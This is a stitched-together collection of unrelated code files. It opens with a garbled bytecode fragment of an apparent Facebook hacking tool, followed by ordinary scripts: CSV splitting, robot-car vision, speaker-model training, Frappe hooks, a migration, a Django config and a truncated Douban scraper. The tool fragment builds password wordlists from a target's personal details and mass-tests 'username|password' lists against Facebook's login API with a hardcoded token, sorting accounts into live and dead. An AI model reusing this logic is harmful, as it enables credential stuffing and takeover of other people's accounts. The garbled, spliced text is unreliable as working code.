login.txti\x01\x00\x00\x00s.\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mType status \x1b[1;91m:\x1b[1;97m R\n\x00\x00\x00s\x19\x00\x00\x00\x1b[1;91m[!] Don\'t be emptys\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s7\x00\x00\x00https://graph.facebook.com/me/feed?method=POST&message=s\x0e\x00\x00\x00&access_token=s%\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mCreate \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97mRj\x00\x00\x00(\x11\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R@\x01\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R 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\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00s?\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mFill in the complete data of the target belowi*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s&\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: s\x04\x00\x00\x00.txtR\x11\x00\x00\x00s\'\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: s)\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: s*\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: s>\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: i\x00\x00\x00\x00i\x02\x00\x00\x00i\x04\x00\x00\x00s)\x00\x00\x00\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :vs&\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: s0\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: sD\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: s%\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mCreate \x1b[1;97m...s\xfc\x01\x00\x00%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%sid\x00\x00\x00s\x01\x00\x00\x00\ng\x00\x00\x00\x00\x00\x00\xf8?s/\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mSaved \x1b[1;91m: \x1b[1;97m %s.txts\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x11\x00\x00\x00\x1b[1;91m[!] Failed(\x0f\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00sB\x00\x00\x00\x1b[1;91m[?] \x1b[1;92mCreate in file\x1b[1;91m : \x1b[1;97musername|passwordi*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mFile path \x1b[1;91m:\x1b[1;97m s\x19\x00\x00\x00\x1b[1;91m[!] File not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s,\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mSeparator \x1b[1;91m:\x1b[1;97m s$\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...s\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6RQ\x00\x00\x00s%\x00\x00\x00\x1b[1;97m[ \x1b[1;92mLive\x1b[1;97m ] \x1b[1;97mR\xd4\x00\x00\x00s\x10\x00\x00\x00www.facebook.comR\xb4\x00\x00\x00s&\x00\x00\x00\x1b[1;97m[ \x1b[1;93mCheck\x1b[1;97m ] \x1b[1;97ms$\x00\x00\x00\x1b[1;97m[ \x1b[1;91mDie\x1b[1;97m ] \x1b[1;97ms4\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92ms\x15\x00\x00\x00 \x1b[1;97mCheck=\x1b[1;93ms\x13\x00\x00\x00 \x1b[1;97mDie=\x1b[1;91m(\x17\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00R\xf2\x00\x00\x00R@\x01\x00\x00R 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Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00s2\x00\x00\x00https://graph.facebook.com/me/groups?access_token=Rl\x00\x00\x00R0\x00\x00\x00Rj\x00\x00\x00s\x0e\x00\x00\x00out/Grupid.txtR\x11\x00\x00\x00s\x01\x00\x00\x00\ns!\x00\x00\x00\x1b[1;97m[ \x1b[1;92mMyGroup\x1b[1;97m ] s\x04\x00\x00\x00 => i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s0\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mTotal Group \x1b[1;91m:\x1b[1;97m %ss6\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mSaved \x1b[1;91m: \x1b[1;97mout/Grupid.txts\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No Connections\x10\x00\x00\x00\x1b[1;91m[!] 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jiajinlong0301/ibond_jia

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import os import pandas as pd # filename为文件路径，file_num为拆分后的文件行数 # 根据是否有表头执行不同程序，默认有表头的 def Data_split(filename,file_num,header=True): if header: # 设置每个文件需要有的行数,初始化为1000W chunksize=10000 data1=pd.read_table(filename,chunksize=chunksize,sep=',',encoding='gbk') # print(data1) # num表示总行数 num=0 for chunk in data1: num+=len(chunk) # print(num) # chunksize表示每个文件需要分配到的行数 chunksize=round(num/file_num+1) # print(chunksize) # 分离文件名与扩展名os.path.split(filename) head,tail=os.path.split(filename) data2=pd.read_table(filename,chunksize=chunksize,sep=',',encoding='gbk') i=0 for chunk in data2: chunk.to_csv('{0}_{1}{2}'.format(head,i,tail),header=None,index=False) print('保存第{0}个数据'.format(i)) i+=1 else: # 获得每个文件需要的行数 chunksize=10000 data1=pd.read_table(filename,chunksize=chunksize,header=None,sep=',') num=0 for chunk in data1: num+=len(chunk) chunksize=round(num/file_num+1) head,tail=os.path.split(filename) data2=pd.read_table(filename,chunksize=chunksize,header=None,sep=',') i=0 for chunk in data2: chunk.to_csv('{0}_{1}{2}'.foemat(head,i,tail),header=None,index=False) print('保存第{0}个数据'.format(i)) i+=1 filename='/Users/jiajinlong/PycharmProjects/zk120000w.csv' #num为拆分为的文件个数 Data_split(filename,2,header=True)

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jiajinlong0301@hotmail.com

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nmgzzy/smart-car-history

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import sensor, image, time, pyb import my_ips, my_file, my_uart, my_key sensor.reset() sensor.set_pixformat(sensor.RGB565) sensor.set_framerate(2<<11) sensor.set_framesize(sensor.QQVGA)#160x120 my_ips.init() sensor.skip_frames(time = 500) sensor.set_auto_gain(False) sensor.set_auto_whitebal(False) sensor.skip_frames(time = 100) clock = time.clock() ledR = pyb.LED(1) ledG = pyb.LED(2) ledB = pyb.LED(3) ledB.on() ledR.on() ledG.on() colorxy = 0 img_cnt = 0 red_threshold = [[12, 80, 16, 73, -1, 56],[12, 80, 16, 73, -1, 56],[12, 80, 16, 73, -1, 56],[0, 70, 19, 90, -11, 35]] blue_threshold = [0, 50, -128, 127, -128, -5] black_threshold = [0, 15, -128, 127, -128, 127] white_threshold = [40, 100, -128, 127, -128, 127] red_ch = 0 roi_white = [(109,0,2,120),(113,0,2,120),(117,0,2,120),(121,0,2,120)] roi_white2 = [73,0,2,120] roi_blue = [(0,21,33,77),(12,21,56,77),(0,21,68,77)] roi_red = (47,25,103,70) chioce = 2 def find_max(blobs): max_size=0 for blob in blobs: if blob[2]*blob[3] > max_size: max_blob=blob max_size = blob[2]*blob[3] return max_blob def my_cmp(a, b): if a == b: return (20,255,20) else: return (255,255,255) def display(page, x, y, k, save): global img_cnt global red_ch clock.tick() img = sensor.snapshot() if save: img.save("img\\img%02d.jpg"%img_cnt) img_cnt += 1 global colorxy blobs = img.find_blobs([red_threshold[red_ch]], roi = roi_red, x_stride=5, y_stride=10, pixels_threshold=200) if blobs: road = find_max(blobs) img.draw_rectangle(road.rect()) blobs = img.find_blobs([blue_threshold, black_threshold], roi = roi_blue[2], x_stride=3, y_stride=6, pixels_threshold=64) if blobs: road = find_max(blobs) img.draw_rectangle(road.rect()) blobs = img.find_blobs([white_threshold], roi = roi_white[chioce], pixels_threshold=9) if blobs: road = find_max(blobs) img.draw_rectangle(road.rect()) print(clock.fps()) if x == 3 and y == 0: img.binary([white_threshold], zero = True) else: if y < 2: img.binary([red_threshold[red_ch]], zero = True) else: img.binary([blue_threshold], zero = True) img.draw_string(0,0, str(red_threshold[red_ch][0]),color = my_cmp(colorxy, 0),x_spacing = -2) img.draw_string(0,10, str(red_threshold[red_ch][1]),color = my_cmp(colorxy, 1),x_spacing = -2) img.draw_string(40,0, str(red_threshold[red_ch][2]),color = my_cmp(colorxy, 2),x_spacing = -2) img.draw_string(40,10,str(red_threshold[red_ch][3]),color = my_cmp(colorxy, 3),x_spacing = -2) img.draw_string(80,0, str(red_threshold[red_ch][4]),color = my_cmp(colorxy, 4),x_spacing = -2) img.draw_string(80,10,str(red_threshold[red_ch][5]),color = my_cmp(colorxy, 5),x_spacing = -2) img.draw_string(0, 20,"red", color = (255,255,255), x_spacing = -2) img.draw_string(120,0,"wt:", color = my_cmp(colorxy, 6),x_spacing = -2) img.draw_string(140,0,str(white_threshold[0]),color = my_cmp(colorxy, 6),x_spacing = -2) img.draw_string(120,10,str(red_ch), color = (255,255,0), x_spacing = -2) img.draw_string(0,90, "blue", color = (255,255,255), x_spacing = -2) img.draw_string(0,100, str(blue_threshold[0]),color = my_cmp(colorxy, 8),x_spacing = -2) img.draw_string(0,110, str(blue_threshold[1]),color = my_cmp(colorxy, 9),x_spacing = -2) img.draw_string(40,100,str(blue_threshold[2]),color = my_cmp(colorxy, 10),x_spacing = -2) img.draw_string(40,110,str(blue_threshold[3]),color = my_cmp(colorxy, 11),x_spacing = -2) img.draw_string(80,100,str(blue_threshold[4]),color = my_cmp(colorxy, 12),x_spacing = -2) img.draw_string(80,110,str(blue_threshold[5]),color = my_cmp(colorxy, 13),x_spacing = -2) img.draw_string(120,110, "blk", color = my_cmp(colorxy, 14),x_spacing = -2) img.draw_string(140,110,str(black_threshold[1]),color = my_cmp(colorxy, 14),x_spacing = -2) if page == 0: my_ips.display_QQVGA(0, 0, img) if x == 0: if y == 0: red_threshold[red_ch][0] += k colorxy = 0 elif y == 1: red_threshold[red_ch][1] += k colorxy = 1 elif y == 2: blue_threshold[0] += k colorxy = 8+0 elif y == 3: blue_threshold[1] += k colorxy = 8+1 elif x == 1: if y == 0: red_threshold[red_ch][2] += k colorxy = 2 elif y == 1: red_threshold[red_ch][3] += k colorxy = 3 elif y == 2: blue_threshold[2] += k colorxy = 8+2 elif y == 3: blue_threshold[3] += k colorxy = 8+3 elif x == 2: if y == 0: red_threshold[red_ch][4] += k colorxy = 4 elif y == 1: red_threshold[red_ch][5] += k colorxy = 5 elif y == 2: blue_threshold[4] += k colorxy = 8+4 elif y == 3: blue_threshold[5] += k colorxy = 8+5 elif x == 3: if y == 0: white_threshold[0] += k colorxy = 6 elif y == 1: red_ch += k colorxy = 7 elif y == 3: black_threshold[1] += k colorxy = 8+6 def systemUI(): page = 0 Xsite = 0 Ysite = 0 global red_threshold global blue_threshold global black_threshold global white_threshold global red_ch [red_threshold, blue_threshold, black_threshold, white_threshold, red_ch] = my_file.read_parameter() my_ips.showstr(161, 0, "bR 30:127") my_ips.showstr(161, 1, " -50:50") my_ips.showstr(161, 3, "R 40:127") my_ips.showstr(161, 4, " -20:70") my_ips.showstr(161, 6, "yR 30:127") my_ips.showstr(161, 7, " 10:127") while(True): save = 0 key = my_key.get_key() if key == 3:#r if Xsite<3: Xsite += 1 elif key == 6:#l if Xsite>0: Xsite -= 1 elif key == 2:#u if Ysite>0: Ysite -= 1 elif key == 0:#d if Ysite<3: Ysite += 1 elif key == 1:#m save = 1 if key == 4: k = 1 elif key == 5: k = -1 else: k = 0 display(page, Xsite, Ysite, k, save) if my_uart.read() == 0x0F: break my_file.save_parameter(red_threshold, blue_threshold, black_threshold, white_threshold, red_ch) ledR.off() ledB.off() my_ips.spi.deinit() time.sleep(200) ledG.off() def main(): while True: clock.tick() pix = 0 break_road = 0 cnt1 = 0 cnt2 = 0 mode = 0 hh = 0 cc = 0 img = sensor.snapshot() t = my_uart.read() if t!= None: mode = t >> 7 offset = t & 0x7F blobs = img.find_blobs([red_threshold[red_ch]], roi = roi_red, x_stride=5, y_stride=10, pixels_threshold=200) if blobs: road = find_max(blobs) pix = road.pixels() * 255 // 3000 if pix > 255: pix = 255 if mode == 0: blobs = img.find_blobs([blue_threshold, black_threshold], roi = roi_blue[0], x_stride=3, y_stride=6, pixels_threshold=100) if blobs: road = find_max(blobs) break_road = road.pixels()*255//2500 else: blobs = img.find_blobs([blue_threshold, black_threshold], roi = roi_blue[1], x_stride=3, y_stride=6, pixels_threshold=100) if blobs: road = find_max(blobs) break_road = (road.pixels()-150)*255//3400 if break_road < 0: break_road = 0 if break_road > 255: break_road = 255 if mode == 1: blobs = img.find_blobs([white_threshold], roi = roi_white[chioce], pixels_threshold=20) if blobs: road = find_max(blobs) hh = road.h() cc = road.cy()+1 else: roi_white2[0] = int(-0.3297*offset+106.2)-3 blobs = img.find_blobs([white_threshold], roi = roi_white2, pixels_threshold=20) if blobs: road = find_max(blobs) hh = road.h() cc = road.cy()+1 my_uart.send(pix,break_road,cc,hh) if pix > 30: ledR.on() else: ledR.off() if break_road > 170: ledB.on() else: ledB.off() print(clock.fps()) systemUI() main()

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""" Copyright 2019 Johns Hopkins University (Author: Jesus Villalba) Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) """ import os from collections import OrderedDict as ODict import logging import torch import torch.nn as nn from ..utils import MetricAcc from .torch_trainer import TorchTrainer class XVectorTrainer(TorchTrainer): """Trainer to train x-vector style models. Attributes: model: x-Vector model object. optim: pytorch optimizer object or options dict epochs: max. number of epochs exp_path: experiment output path cur_epoch: current epoch grad_acc_steps: gradient accumulation steps to simulate larger batch size. device: cpu/gpu device metrics: extra metrics to compute besides cxe. lrsched: learning rate scheduler object or options dict loggers: LoggerList object, loggers write training progress to std. output and file. If None, it uses default loggers. ddp: if True use distributed data parallel training ddp_type: type of distributed data parallel in (ddp, oss_ddp, oss_shared_ddp) loss: if None, it uses cross-entropy train_mode: training mode in ['train', 'ft-full', 'ft-last-layer'] use_amp: uses mixed precision training. log_interval: number of optim. steps between log outputs use_tensorboard: use tensorboard logger use_wandb: use wandb logger wandb: wandb dictionary of options grad_clip: norm to clip gradients, if 0 there is no clipping grad_clip_norm: norm type to clip gradients swa_start: epoch to start doing swa swa_lr: SWA learning rate swa_anneal_epochs: SWA learning rate anneal epochs cpu_offload: CPU offload of gradients when using fully sharded ddp """ def __init__( self, model, optim={}, epochs=100, exp_path="./train", cur_epoch=0, grad_acc_steps=1, device=None, metrics=None, lrsched=None, loggers=None, ddp=False, ddp_type="ddp", loss=None, train_mode="train", use_amp=False, log_interval=10, use_tensorboard=False, use_wandb=False, wandb={}, grad_clip=0, grad_clip_norm=2, swa_start=0, swa_lr=1e-3, swa_anneal_epochs=10, cpu_offload=False, ): if loss is None: loss = nn.CrossEntropyLoss() super().__init__( model, loss, optim, epochs, exp_path, cur_epoch=cur_epoch, grad_acc_steps=grad_acc_steps, device=device, metrics=metrics, lrsched=lrsched, loggers=loggers, ddp=ddp, ddp_type=ddp_type, train_mode=train_mode, use_amp=use_amp, log_interval=log_interval, use_tensorboard=use_tensorboard, use_wandb=use_wandb, wandb=wandb, grad_clip=grad_clip, grad_clip_norm=grad_clip_norm, swa_start=swa_start, swa_lr=swa_lr, swa_anneal_epochs=swa_anneal_epochs, cpu_offload=cpu_offload, ) def train_epoch(self, data_loader): """Training epoch loop Args: data_loader: pytorch data loader returning features and class labels. """ self.model.update_loss_margin(self.cur_epoch) metric_acc = MetricAcc(device=self.device) batch_metrics = ODict() self.set_train_mode() for batch, (data, target) in enumerate(data_loader): self.loggers.on_batch_begin(batch) if batch % self.grad_acc_steps == 0: self.optimizer.zero_grad() data, target = data.to(self.device), target.to(self.device) batch_size = data.shape[0] with self.amp_autocast(): output = self.model(data, target, **self.amp_args) loss = self.loss(output, target).mean() / self.grad_acc_steps if self.use_amp: self.grad_scaler.scale(loss).backward() else: loss.backward() if (batch + 1) % self.grad_acc_steps == 0: if self.lr_scheduler is not None and not self.in_swa: self.lr_scheduler.on_opt_step() self.update_model() batch_metrics["loss"] = loss.item() * self.grad_acc_steps for k, metric in self.metrics.items(): batch_metrics[k] = metric(output, target) metric_acc.update(batch_metrics, batch_size) logs = metric_acc.metrics logs["lr"] = self._get_lr() self.loggers.on_batch_end(logs=logs, batch_size=batch_size) logs = metric_acc.metrics logs = ODict(("train_" + k, v) for k, v in logs.items()) logs["lr"] = self._get_lr() return logs

[ "jesus.antonio.villalba@gmail.com" ]

jesus.antonio.villalba@gmail.com

374b46162c7dde768082c279d494fa3a42728b61

ff623c438f0089cf23cdb089fde693e340882164

/metabase_ngse/hooks.py

27e6dd5cb62016922011c60514f74400182b1747

[ "MIT" ]

permissive

Suraj787/metabase_ngse

eb1de77ff4e86685db0f2f98bb2a8376b5cd654a

be626804148650af73bb00926ed9052201274c04

refs/heads/master

2023-01-04T12:30:51.092201

2020-10-31T20:47:27

308,969,125

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py

# -*- coding: utf-8 -*- from __future__ import unicode_literals from . import __version__ as app_version app_name = "metabase_ngse" app_title = "Metabase Ngse" app_publisher = "firsterp" app_description = "Metabase for Nandan GSE" app_icon = "octicon octicon-file-directory" app_color = "grey" app_email = "support@firsterp.in" app_license = "MIT" # Includes in <head> # ------------------ # include js, css files in header of desk.html # app_include_css = "/assets/metabase_ngse/css/metabase_ngse.css" # app_include_js = "/assets/metabase_ngse/js/metabase_ngse.js" # include js, css files in header of web template # web_include_css = "/assets/metabase_ngse/css/metabase_ngse.css" # web_include_js = "/assets/metabase_ngse/js/metabase_ngse.js" # include js in page # page_js = {"page" : "public/js/file.js"} # include js in doctype views # doctype_js = {"doctype" : "public/js/doctype.js"} # doctype_list_js = {"doctype" : "public/js/doctype_list.js"} # doctype_tree_js = {"doctype" : "public/js/doctype_tree.js"} # doctype_calendar_js = {"doctype" : "public/js/doctype_calendar.js"} # Home Pages # ---------- # application home page (will override Website Settings) # home_page = "login" # website user home page (by Role) # role_home_page = { # "Role": "home_page" # } # Website user home page (by function) # get_website_user_home_page = "metabase_ngse.utils.get_home_page" # Generators # ---------- # automatically create page for each record of this doctype # website_generators = ["Web Page"] # Installation # ------------ # before_install = "metabase_ngse.install.before_install" # after_install = "metabase_ngse.install.after_install" # Desk Notifications # ------------------ # See frappe.core.notifications.get_notification_config # notification_config = "metabase_ngse.notifications.get_notification_config" # Permissions # ----------- # Permissions evaluated in scripted ways # permission_query_conditions = { # "Event": "frappe.desk.doctype.event.event.get_permission_query_conditions", # } # # has_permission = { # "Event": "frappe.desk.doctype.event.event.has_permission", # } # Document Events # --------------- # Hook on document methods and events # doc_events = { # "*": { # "on_update": "method", # "on_cancel": "method", # "on_trash": "method" # } # } # Scheduled Tasks # --------------- # scheduler_events = { # "all": [ # "metabase_ngse.tasks.all" # ], # "daily": [ # "metabase_ngse.tasks.daily" # ], # "hourly": [ # "metabase_ngse.tasks.hourly" # ], # "weekly": [ # "metabase_ngse.tasks.weekly" # ] # "monthly": [ # "metabase_ngse.tasks.monthly" # ] # } # Testing # ------- # before_tests = "metabase_ngse.install.before_tests" # Overriding Methods # ------------------------------ # # override_whitelisted_methods = { # "frappe.desk.doctype.event.event.get_events": "metabase_ngse.event.get_events" # } # # each overriding function accepts a `data` argument; # generated from the base implementation of the doctype dashboard, # along with any modifications made in other Frappe apps # override_doctype_dashboards = { # "Task": "metabase_ngse.task.get_dashboard_data" # }

[ "Anikets@criscoconsulting.in" ]

Anikets@criscoconsulting.in

8de04f6692ceeecd098e35ffafb2f1c85e4a9be7

cae1c6d385be49c48342733d105fe0ef817b4c02

/tajna.py

e77b4821e9372ac4094130b880fe3aacda51665e

[]

no_license

silvikavcak/pyladies

f7c61228b5170dfec7537766abbe97f355d5feb9

da46798e76dfffdc1c91961b9b6271256ea48b40

refs/heads/main

2023-03-19T08:03:12.613500

2021-03-05T18:44:40

344,892,517

0

null

2021-03-05T18:44:41

2021-03-05T17:59:45

Python

UTF-8

Python

false

308

py

heslo = input("Zadaj heslo a poviem ti tajnostku: ") if heslo == "susky-susky": print("Ak sa chytis prstom pravej ruky laveho ucha a pri tom poskaces 3x 50 cm vysoko, do zajtra bude na nebi o hviezdicku viac.") else: print("Tajomstvo velkej Arkany ti je zapovedane ty nehodny smrtelny cervik!")

[ "noreply@github.com" ]

silvikavcak.noreply@github.com

aad8fc74a43007757734b635989c1238c35e75a1

da8cc1653f8ed4e553fb908a06a5b59e7113d188

/migrations/versions/053be705576c_new_fields_in_user_model.py

0a3697dbd131f4c0b4597105e4f10b6f8db52417

[]

no_license

isaachulvey/tft-companion-app

31a6ae4e768f45c17a635188687079754cc8a876

ec80fcd0033315e92db78da8cf7575ecca7ad9a2

refs/heads/master

2022-10-07T05:04:28.935310

2020-04-08T18:58:02

249,787,351

2

0

null

2022-09-16T18:21:09

2020-03-24T18:31:34

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py

"""new fields in user model Revision ID: 053be705576c Revises: 7546358da6cd Create Date: 2020-04-07 11:36:58.369264 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '053be705576c' down_revision = '7546358da6cd' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('user', sa.Column('about_me', sa.String(length=140), nullable=True)) op.add_column('user', sa.Column('last_seen', sa.DateTime(), nullable=True)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column('user', 'last_seen') op.drop_column('user', 'about_me') # ### end Alembic commands ###

[ "isaachulvey@gmail.com" ]

isaachulvey@gmail.com

775b26f16fa53c27ec712bf92cfb31553c92f19d

e24511af0fdf299130fdf1e27b7eda1e35064e7c

/app/coupon/apps.py

bab96066b77b4592b0cf454c6ef51fa085d53a67

[]

no_license

amitbhalla/lms

623dc6764dba5ee67a7f30d3882b7917b6441c2e

0810a875008b371a7bd3996742ad3b04ce037b14

refs/heads/main

2023-07-19T12:12:40.570958

2021-09-17T16:55:29

405,055,595

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null

UTF-8

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144

py

from django.apps import AppConfig class CouponConfig(AppConfig): default_auto_field = "django.db.models.BigAutoField" name = "coupon"

[ "amit9815@gmail.com" ]

amit9815@gmail.com

a2a16481c7b8f3bafa0f35b577b432e7fc6f2adc

b4272e8a7863c27644f104c42e1d99c6cd02d8a7

/15_printing_CL_arguments.py

5e066b025df1f3293dfcde3c98a25165554d2580

[]

no_license

skanda9927/year2020

613856b7cfa3405f268d930fc4cbdd9897b5709e

3745e1caadb4051399505d2cc9e642a930a0c088

refs/heads/master

2020-12-22T04:15:44.428379

2020-01-28T05:50:43

236,667,507

0

null

UTF-8

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728

py

#15.Common line arguments to python: Print count, list them, print the last argument value #PSEUDOCODE # Step 1 : import the module named sys # Step 2 : copy the variables stored in the system built in list argv # Step 3 : find the length of argument_list using len function and store it nin variable length # Step 4 : using for loop with length print all values stored in argument_list import sys # command line arguments are stored in the form # of list in sys.argv argumentList = sys.argv length = len(argumentList) for index in range(0,length) : print (argumentList[index])

[ "noreply@github.com" ]

skanda9927.noreply@github.com

d09ebfb916301f9570de15677478373cadbd685a

9db18bcc847ffdff8ca1aa8fe2470bdd1d17f609

/LAB1/generate_similar_event.py

32b83c22ea6385ae25638088ea0d280d905273fa

[]

no_license

ShangGaoG/CVLAB

4397c125ec412329aa45af705465aae73b2f1d16

b9f1c24ba35a7af56f556a63796798bd4e8cc234

refs/heads/master

2023-03-25T15:48:07.566625

2020-12-09T00:49:54

null

0

null

UTF-8

Python

false

1,482

py

from utils.misc import * import pandas as pd from sklearn.metrics.pairwise import cosine_similarity from matplotlib import pyplot as plt import sys import numpy as np def generate_similar_events(query_path,gallery_path): df = pd.read_json(gallery_path) gallery_id = df['gallery_id'] gallery_vector = df['gallery_incident'] df_query_incident = pd.read_json(query_path) query_id = df_query_incident['query_id'] query_vector = df_query_incident['query_incident'] gallery_vector = np.array(list(gallery_vector), dtype=float) gallery_id = np.array(list(gallery_id)) query_vector = np.array(list(query_vector), dtype=float) query_id = list(query_id) length = len(query_id) similar_events = [] for i in range(length): id = query_id[i] vector = query_vector[i] similarity = cosine_similarity([vector], gallery_vector) similarity = similarity.flatten() arg_index = np.argsort(similarity) arg_index = arg_index[::-1] similarity_incident = gallery_id[list(arg_index[0:5])] similar_events.append(similarity_incident) df_new = pd.DataFrame({'query event':query_id,'similar events':similar_events}) df_new.to_csv('similar_event.csv') df_new.to_json('similar_event.json') query_path = '/home/xiaoxiaoyu/codes/imgs_cls/query_incident.json' gallery_path = '/home/xiaoxiaoyu/codes/imgs_cls/gallery_incident.json' generate_similar_events(query_path,gallery_path)

[ "11711603@mail.sustech.edu.cn" ]

11711603@mail.sustech.edu.cn

209cf4447eef471a6961ceff4174497f1acc3937

caa947ea6cbbb44c80f01702a4076708451eaa73

/splider_for_douban.py

3c00e458a309669504c1bf16436621e9837d16df

[]

no_license

lugq1990/chatbot_douban

e2696aa56657fda3d4afdc6775390db691df3e9b

f7d746dfcdd5ea853e99ad96c7dfe7cebc4b31e8

refs/heads/main

2023-08-27T01:36:55.246079

2021-10-25T07:21:17

418,353,579

0

null

UTF-8

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3,285

py

import re from bs4 import BeautifulSoup import requests import time import os from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager import json class DoubanSplider: def __init__(self) -> None: self.base_top_url = "https://movie.douban.com/top250?start={}&filter=" self.headers = {'User-Agent': 'Mozilla/5.0'} self.driver = webdriver.Chrome(ChromeDriverManager().install()) def get_response(self, url): response = requests.get(url, headers=self.headers) if response.status_code != 200: print("Get some error from request! As error code is {}".format(response.status_code)) bs = BeautifulSoup(response.content, 'html.parser') time.sleep(.2) return bs def get_response_with_driver(self, url): self.driver.get(url) bs = BeautifulSoup(self.driver.page_source, 'html.parser') time.sleep(.1) return bs def get_top250_links(self): each_page = 25 full_n = 250 res_tuple = [] for i in range(int(full_n/each_page)): print("Now if page: {}".format(i)) bs = self.get_response_with_driver(self.base_top_url.format(i * each_page)) # find each page items items = bs.find_all('div', class_='item') for item in items: each_item_info = self._get_top_content(item) res_tuple.append(each_item_info) return res_tuple @staticmethod def save_list_into_file(obj_list, file_name, file_path=None): if not file_path: file_path = 'tmp_data' if file_name.find('.') == -1: file_name += '.txt' with open(os.path.join(file_path, file_name), 'w', encoding='utf-8') as f: for obj in obj_list: if isinstance(obj, list) or isinstance(obj, tuple): f.write(','.join(obj) + '\n') else: f.write(obj + '\n') @staticmethod def _get_top_content(item): title = item.find(class_='hd').find(class_='title').get_text() url = item.find(class_='hd').find('a').get('href') score = item.find_all("span", class_='rating_num')[0].get_text() n_users = item.find_all("span")[-2].get_text() return (title, score, n_users, url) def get_movie_base_info(self): """ 